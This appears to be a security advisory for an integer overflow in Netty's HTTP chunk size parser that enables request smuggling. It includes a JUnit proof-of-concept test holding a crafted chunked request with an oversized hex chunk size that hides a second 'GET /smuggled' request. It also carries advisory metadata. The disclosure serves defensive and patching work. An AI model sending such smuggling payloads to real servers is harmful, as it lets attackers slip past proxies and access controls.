Netty's chunk size parser silently overflows int, enabling request smuggling attacks.
io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.
The size is accumulated as follows:
result *= 16; result += digit;
The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"100000004\r\n" +
"test\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
HttpContent content = channel.readInbound();
assertTrue(content.decoderResult().isSuccess());
assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
content.release();
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
{
"severity": "MODERATE",
"cwe_ids": [
"CWE-190",
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:13:05Z",
"nvd_published_at": "2026-05-13T19:17:23Z"
}